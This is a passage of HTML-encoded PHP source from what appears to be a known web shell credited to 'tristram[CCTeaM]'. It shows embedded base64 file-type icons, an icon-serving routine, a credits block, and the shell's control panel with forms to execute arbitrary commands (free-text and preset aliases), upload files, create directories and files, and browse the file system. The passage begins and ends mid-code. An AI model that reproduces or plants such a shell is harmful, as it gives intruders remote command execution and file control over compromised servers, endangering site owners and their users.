&amp;quot;c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P&amp;quot;.&lt;br /&gt;
&amp;quot;KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk&amp;quot;.&lt;br /&gt;
&amp;quot;Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR&amp;quot;.&lt;br /&gt;
&amp;quot;ADs=&amp;quot;,&lt;br /&gt;
&amp;quot;ext_jpg&amp;quot;=&amp;gt;&lt;br /&gt;
&amp;quot;R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA&amp;quot;.&lt;br /&gt;
&amp;quot;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci&amp;quot;.&lt;br /&gt;
&amp;quot;Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd&amp;quot;.&lt;br /&gt;
&amp;quot;FxEAOw==&amp;quot;,&lt;br /&gt;
&amp;quot;ext_js&amp;quot;=&amp;gt;&lt;br /&gt;
&amp;quot;R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH&amp;quot;.&lt;br /&gt;
&amp;quot;k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs&amp;quot;.&lt;br /&gt;
&amp;quot;a00AjYYBbc/o9HjNniUAADs=&amp;quot;,&lt;br /&gt;
&amp;quot;ext_lnk&amp;quot;=&amp;gt;&lt;br /&gt;
&amp;quot;R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO&amp;quot;.&lt;br /&gt;
&amp;quot;NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi&amp;quot;.&lt;br /&gt;
&amp;quot;Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk&amp;quot;.&lt;br /&gt;
&amp;quot;AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG&amp;quot;.&lt;br /&gt;
&amp;quot;MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA&amp;quot;.&lt;br /&gt;
&amp;quot;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&amp;quot;.&lt;br /&gt;
&amp;quot;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&amp;quot;.&lt;br /&gt;
&amp;quot;AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5&amp;quot;.&lt;br /&gt;
&amp;quot;NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf&amp;quot;.&lt;br /&gt;
&amp;quot;1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ&amp;quot;.&lt;br /&gt;
&amp;quot;ADs=&amp;quot;,&lt;br /&gt;
&amp;quot;ext_log&amp;quot;=&amp;gt;&lt;br /&gt;
&amp;quot;R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA&amp;quot;.&lt;br /&gt;
&amp;quot;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN&amp;quot;.&lt;br /&gt;
&amp;quot;zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==&amp;quot;,&lt;br /&gt;
&amp;quot;ext_php&amp;quot;=&amp;gt;&lt;br /&gt;
&amp;quot;R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg&amp;quot;.&lt;br /&gt;
&amp;quot;t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==&amp;quot;,&lt;br /&gt;
&amp;quot;ext_pl&amp;quot;=&amp;gt;&lt;br /&gt;
&amp;quot;R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo&amp;quot;.&lt;br /&gt;
&amp;quot;GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7&amp;quot;,&lt;br /&gt;
&amp;quot;ext_swf&amp;quot;=&amp;gt;&lt;br /&gt;
&amp;quot;R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O&amp;quot;.&lt;br /&gt;
&amp;quot;nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA&amp;quot;.&lt;br /&gt;
&amp;quot;ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA&amp;quot;.&lt;br /&gt;
&amp;quot;GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC&amp;quot;.&lt;br /&gt;
&amp;quot;NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=&amp;quot;,&lt;br /&gt;
&amp;quot;ext_tar&amp;quot;=&amp;gt;&lt;br /&gt;
&amp;quot;R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC&amp;quot;.&lt;br /&gt;
&amp;quot;Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF&amp;quot;.&lt;br /&gt;
&amp;quot;HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD&amp;quot;.&lt;br /&gt;
&amp;quot;UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p&amp;quot;.&lt;br /&gt;
&amp;quot;uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&amp;quot;.&lt;br /&gt;
&amp;quot;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&amp;quot;.&lt;br /&gt;
&amp;quot;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&amp;quot;.&lt;br /&gt;
&amp;quot;AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg&amp;quot;.&lt;br /&gt;
&amp;quot;GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd&amp;quot;.&lt;br /&gt;
&amp;quot;HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB&amp;quot;.&lt;br /&gt;
&amp;quot;u4tLAgEAOw==&amp;quot;,&lt;br /&gt;
&amp;quot;ext_txt&amp;quot;=&amp;gt;&lt;br /&gt;
&amp;quot;R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ&amp;quot;.&lt;br /&gt;
&amp;quot;SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7&amp;quot;.&lt;br /&gt;
&amp;quot;UpPWG3Ig6Hq/XmRjuZwkAAA7&amp;quot;,&lt;br /&gt;
&amp;quot;ext_wri&amp;quot;=&amp;gt;&lt;br /&gt;
&amp;quot;R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA&amp;quot;.&lt;br /&gt;
&amp;quot;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao&amp;quot;.&lt;br /&gt;
&amp;quot;a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=&amp;quot;,&lt;br /&gt;
&amp;quot;ext_xml&amp;quot;=&amp;gt;&lt;br /&gt;
&amp;quot;R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA&amp;quot;.&lt;br /&gt;
&amp;quot;gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&amp;quot;.&lt;br /&gt;
&amp;quot;AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx&amp;quot;.&lt;br /&gt;
&amp;quot;OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ&amp;quot;.&lt;br /&gt;
&amp;quot;IQA7&amp;quot;&lt;br /&gt;
);&lt;br /&gt;
 //For simple size- and speed-optimization.&lt;br /&gt;
 $imgequals = array(&lt;br /&gt;
  &amp;quot;ext_tar&amp;quot;=&amp;gt;array(&amp;quot;ext_tar&amp;quot;,&amp;quot;ext_r00&amp;quot;,&amp;quot;ext_ace&amp;quot;,&amp;quot;ext_arj&amp;quot;,&amp;quot;ext_bz&amp;quot;,&amp;quot;ext_bz2&amp;quot;,&amp;quot;ext_tbz&amp;quot;,&amp;quot;ext_tbz2&amp;quot;,&amp;quot;ext_tgz&amp;quot;,&amp;quot;ext_uu&amp;quot;,&amp;quot;ext_xxe&amp;quot;,&amp;quot;ext_zip&amp;quot;,&amp;quot;ext_cab&amp;quot;,&amp;quot;ext_gz&amp;quot;,&amp;quot;ext_iso&amp;quot;,&amp;quot;ext_lha&amp;quot;,&amp;quot;ext_lzh&amp;quot;,&amp;quot;ext_pbk&amp;quot;,&amp;quot;ext_rar&amp;quot;,&amp;quot;ext_uuf&amp;quot;),&lt;br /&gt;
  &amp;quot;ext_php&amp;quot;=&amp;gt;array(&amp;quot;ext_php&amp;quot;,&amp;quot;ext_php3&amp;quot;,&amp;quot;ext_php4&amp;quot;,&amp;quot;ext_php5&amp;quot;,&amp;quot;ext_phtml&amp;quot;,&amp;quot;ext_shtml&amp;quot;,&amp;quot;ext_htm&amp;quot;),&lt;br /&gt;
  &amp;quot;ext_jpg&amp;quot;=&amp;gt;array(&amp;quot;ext_jpg&amp;quot;,&amp;quot;ext_gif&amp;quot;,&amp;quot;ext_png&amp;quot;,&amp;quot;ext_jpeg&amp;quot;,&amp;quot;ext_jfif&amp;quot;,&amp;quot;ext_jpe&amp;quot;,&amp;quot;ext_bmp&amp;quot;,&amp;quot;ext_ico&amp;quot;,&amp;quot;ext_tif&amp;quot;,&amp;quot;tiff&amp;quot;),&lt;br /&gt;
  &amp;quot;ext_html&amp;quot;=&amp;gt;array(&amp;quot;ext_html&amp;quot;,&amp;quot;ext_htm&amp;quot;),&lt;br /&gt;
  &amp;quot;ext_avi&amp;quot;=&amp;gt;array(&amp;quot;ext_avi&amp;quot;,&amp;quot;ext_mov&amp;quot;,&amp;quot;ext_mvi&amp;quot;,&amp;quot;ext_mpg&amp;quot;,&amp;quot;ext_mpeg&amp;quot;,&amp;quot;ext_wmv&amp;quot;,&amp;quot;ext_rm&amp;quot;),&lt;br /&gt;
  &amp;quot;ext_lnk&amp;quot;=&amp;gt;array(&amp;quot;ext_lnk&amp;quot;,&amp;quot;ext_url&amp;quot;),&lt;br /&gt;
  &amp;quot;ext_ini&amp;quot;=&amp;gt;array(&amp;quot;ext_ini&amp;quot;,&amp;quot;ext_css&amp;quot;,&amp;quot;ext_inf&amp;quot;),&lt;br /&gt;
  &amp;quot;ext_doc&amp;quot;=&amp;gt;array(&amp;quot;ext_doc&amp;quot;,&amp;quot;ext_dot&amp;quot;),&lt;br /&gt;
  &amp;quot;ext_js&amp;quot;=&amp;gt;array(&amp;quot;ext_js&amp;quot;,&amp;quot;ext_vbs&amp;quot;),&lt;br /&gt;
  &amp;quot;ext_cmd&amp;quot;=&amp;gt;array(&amp;quot;ext_cmd&amp;quot;,&amp;quot;ext_bat&amp;quot;,&amp;quot;ext_pif&amp;quot;),&lt;br /&gt;
  &amp;quot;ext_wri&amp;quot;=&amp;gt;array(&amp;quot;ext_wri&amp;quot;,&amp;quot;ext_rtf&amp;quot;),&lt;br /&gt;
  &amp;quot;ext_swf&amp;quot;=&amp;gt;array(&amp;quot;ext_swf&amp;quot;,&amp;quot;ext_fla&amp;quot;),&lt;br /&gt;
  &amp;quot;ext_mp3&amp;quot;=&amp;gt;array(&amp;quot;ext_mp3&amp;quot;,&amp;quot;ext_au&amp;quot;,&amp;quot;ext_midi&amp;quot;,&amp;quot;ext_mid&amp;quot;),&lt;br /&gt;
  &amp;quot;ext_htaccess&amp;quot;=&amp;gt;array(&amp;quot;ext_htaccess&amp;quot;,&amp;quot;ext_htpasswd&amp;quot;,&amp;quot;ext_ht&amp;quot;,&amp;quot;ext_hta&amp;quot;,&amp;quot;ext_so&amp;quot;)&lt;br /&gt;
 );&lt;br /&gt;
 if (!$getall)&lt;br /&gt;
 {&lt;br /&gt;
  header(&amp;quot;Content-type: image/gif&amp;quot;);&lt;br /&gt;
  header(&amp;quot;Cache-control: public&amp;quot;);&lt;br /&gt;
  header(&amp;quot;Expires: &amp;quot;.date(&amp;quot;r&amp;quot;,mktime(0,0,0,1,1,2030)));&lt;br /&gt;
  header(&amp;quot;Cache-control: max-age=&amp;quot;.(60*60*24*7));&lt;br /&gt;
  header(&amp;quot;Last-Modified: &amp;quot;.date(&amp;quot;r&amp;quot;,filemtime(__FILE__)));&lt;br /&gt;
  foreach($imgequals as $k=&amp;gt;$v) {if (in_array($img,$v)) {$img = $k; break;}}&lt;br /&gt;
  if (empty($images[$img])) {$img = &amp;quot;small_unk&amp;quot;;}&lt;br /&gt;
  if (in_array($img,$ext_tar)) {$img = &amp;quot;ext_tar&amp;quot;;}&lt;br /&gt;
  echo base64_decode($images[$img]);&lt;br /&gt;
 }&lt;br /&gt;
 else&lt;br /&gt;
 {&lt;br /&gt;
  foreach($imgequals as $a=&amp;gt;$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo(&amp;quot;Warning! Remove \$images[&amp;quot;.$d.&amp;quot;]&amp;lt;br&amp;gt;&amp;quot;);}}}}&lt;br /&gt;
  natsort($images);&lt;br /&gt;
  $k = array_keys($images);&lt;br /&gt;
  echo  &amp;quot;&amp;lt;center&amp;gt;&amp;quot;;&lt;br /&gt;
  foreach ($k as $u) {echo $u.&amp;quot;:&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=&amp;quot;.$u.&amp;quot;\&amp;quot; border=\&amp;quot;1\&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
  echo &amp;quot;&amp;lt;/center&amp;gt;&amp;quot;;&lt;br /&gt;
 }&lt;br /&gt;
 exit;&lt;br /&gt;
}&lt;br /&gt;
if ($act == &amp;quot;about&amp;quot;) {echo &amp;quot;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;Credits:&amp;lt;br&amp;gt;Idea, leading and coding by tristram[CCTeaM].&amp;lt;br&amp;gt;Beta-testing and some tips - NukLeoN [AnTiSh@Re tEaM].&amp;lt;br&amp;gt;Thanks all who report bugs.&amp;lt;br&amp;gt;All bugs send to tristram's ICQ #656555 &amp;lt;a href=\&amp;quot;http://wwp.icq.com/scripts/contact.dll?msgto=656555\&amp;quot;&amp;gt;&amp;lt;img src=\&amp;quot;http://wwp.icq.com/scripts/online.dll?icq=656555&amp;amp;img=5\&amp;quot; border=0 align=absmiddle&amp;gt;&amp;lt;/a&amp;gt;.&amp;lt;/b&amp;gt;&amp;quot;;}&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&amp;lt;a bookmark=&amp;quot;minipanel&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;TABLE style=&amp;quot;BORDER-COLLAPSE: collapse&amp;quot; cellSpacing=0 borderColorDark=#666666 cellPadding=5 height=&amp;quot;1&amp;quot; width=&amp;quot;100%&amp;quot; bgColor=#333333 borderColorLight=#c0c0c0 border=1&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td width=&amp;quot;100%&amp;quot; height=&amp;quot;1&amp;quot; valign=&amp;quot;top&amp;quot; colspan=&amp;quot;2&amp;quot;&amp;gt;&amp;lt;p align=&amp;quot;center&amp;quot;&amp;gt;&amp;lt;b&amp;gt;:: &amp;lt;a href=&amp;quot;&amp;lt;?php echo $surl; ?&amp;gt;act=cmd&amp;amp;d=&amp;lt;?php echo urlencode($d); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Command execute&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt; ::&amp;lt;/b&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td width=&amp;quot;50%&amp;quot; height=&amp;quot;1&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;Enter: &amp;lt;/b&amp;gt;&amp;lt;form action=&amp;quot;&amp;lt;?php echo $surl; ?&amp;gt;act=cmd&amp;quot; method=&amp;quot;POST&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;act&amp;quot; value=&amp;quot;cmd&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;d&amp;quot; value=&amp;quot;&amp;lt;?php echo $dispd; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;cmd&amp;quot; size=&amp;quot;50&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($cmd); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;cmd_txt&amp;quot; value=&amp;quot;1&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;submit&amp;quot; value=&amp;quot;Execute&amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td width=&amp;quot;50%&amp;quot; height=&amp;quot;1&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;Select: &amp;lt;/b&amp;gt;&amp;lt;form action=&amp;quot;&amp;lt;?php echo $surl; ?&amp;gt;act=cmd&amp;quot; method=&amp;quot;POST&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;act&amp;quot; value=&amp;quot;cmd&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;d&amp;quot; value=&amp;quot;&amp;lt;?php echo $dispd; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;select name=&amp;quot;cmd&amp;quot;&amp;gt;&amp;lt;?php foreach ($cmdaliases as $als) {echo &amp;quot;&amp;lt;option value=\&amp;quot;&amp;quot;.htmlspecialchars($als[1]).&amp;quot;\&amp;quot;&amp;gt;&amp;quot;.htmlspecialchars($als[0]).&amp;quot;&amp;lt;/option&amp;gt;&amp;quot;;} ?&amp;gt;&amp;lt;/select&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;cmd_txt&amp;quot; value=&amp;quot;1&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;submit&amp;quot; value=&amp;quot;Execute&amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/TABLE&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;TABLE style=&amp;quot;BORDER-COLLAPSE: collapse&amp;quot; cellSpacing=0 borderColorDark=#666666 cellPadding=5 height=&amp;quot;1&amp;quot; width=&amp;quot;100%&amp;quot; bgColor=#333333 borderColorLight=#c0c0c0 border=1&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
 &amp;lt;td width=&amp;quot;50%&amp;quot; height=&amp;quot;1&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;:: &amp;lt;a href=&amp;quot;&amp;lt;?php echo $surl; ?&amp;gt;act=search&amp;amp;d=&amp;lt;?php echo urlencode($d); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Search&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt; ::&amp;lt;/b&amp;gt;&amp;lt;form method=&amp;quot;POST&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;act&amp;quot; value=&amp;quot;search&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;d&amp;quot; value=&amp;quot;&amp;lt;?php echo $dispd; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;search_name&amp;quot; size=&amp;quot;29&amp;quot; value=&amp;quot;(.*)&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;input type=&amp;quot;checkbox&amp;quot; name=&amp;quot;search_name_regexp&amp;quot; value=&amp;quot;1&amp;quot;  checked&amp;gt; - regexp&amp;amp;nbsp;&amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;submit&amp;quot; value=&amp;quot;Search&amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/center&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
 &amp;lt;td width=&amp;quot;50%&amp;quot; height=&amp;quot;1&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;:: &amp;lt;a href=&amp;quot;&amp;lt;?php echo $surl; ?&amp;gt;act=upload&amp;amp;d=&amp;lt;?php echo $ud; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Upload&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt; ::&amp;lt;/b&amp;gt;&amp;lt;form method=&amp;quot;POST&amp;quot; ENCTYPE=&amp;quot;multipart/form-data&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;act&amp;quot; value=&amp;quot;upload&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;file&amp;quot; name=&amp;quot;uploadfile&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;miniform&amp;quot; value=&amp;quot;1&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;input type=submit name=submit value=&amp;quot;Upload&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;?php echo $wdt; ?&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;TABLE style=&amp;quot;BORDER-COLLAPSE: collapse&amp;quot; cellSpacing=0 borderColorDark=#666666 cellPadding=5 height=&amp;quot;1&amp;quot; width=&amp;quot;100%&amp;quot; bgColor=#333333 borderColorLight=#c0c0c0 border=1&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td width=&amp;quot;50%&amp;quot; height=&amp;quot;1&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;:: Make Dir ::&amp;lt;/b&amp;gt;&amp;lt;form method=&amp;quot;POST&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;act&amp;quot; value=&amp;quot;mkdir&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;d&amp;quot; value=&amp;quot;&amp;lt;?php echo $dispd; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;mkdir&amp;quot; size=&amp;quot;50&amp;quot; value=&amp;quot;&amp;lt;?php echo $dispd; ?&amp;gt;&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Create&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;?php echo $wdt; ?&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td width=&amp;quot;50%&amp;quot; height=&amp;quot;1&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;:: Make File ::&amp;lt;/b&amp;gt;&amp;lt;form method=&amp;quot;POST&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;act&amp;quot; value=&amp;quot;mkfile&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;d&amp;quot; value=&amp;quot;&amp;lt;?php echo $dispd; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;mkfile&amp;quot; size=&amp;quot;50&amp;quot; value=&amp;quot;&amp;lt;?php echo $dispd; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;ft&amp;quot; value=&amp;quot;edit&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Create&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;?php echo $wdt; ?&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;TABLE style=&amp;quot;BORDER-COLLAPSE: collapse&amp;quot; cellSpacing=0 borderColorDark=#666666 cellPadding=5 height=&amp;quot;1&amp;quot; width=&amp;quot;100%&amp;quot; bgColor=#333333 borderColorLight=#c0c0c0 border=1&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td width=&amp;quot;50%&amp;quot; height=&amp;quot;1&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;:: Go Dir ::&amp;lt;/b&amp;gt;&amp;lt;form action=&amp;quot;&amp;lt;?php echo htmlspecialchars($surl); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;act&amp;quot; value=&amp;quot;ls&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;d&amp;quot; size=&amp;quot;50&amp;quot; value=&amp;quot;&amp;lt;?php echo $dispd; ?&amp;gt;&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Go&amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td width=&amp;quot;50%&amp;quot; height=&amp;quot;1&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;:: Go File ::&amp;lt;/b&amp;gt;&amp;lt;form action=&amp;quot;&amp;lt;?php echo htmlspecialchars($surl); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;act&amp;quot; value=&amp;quot;gofile&amp;quot;&amp;gt;&amp;lt;input 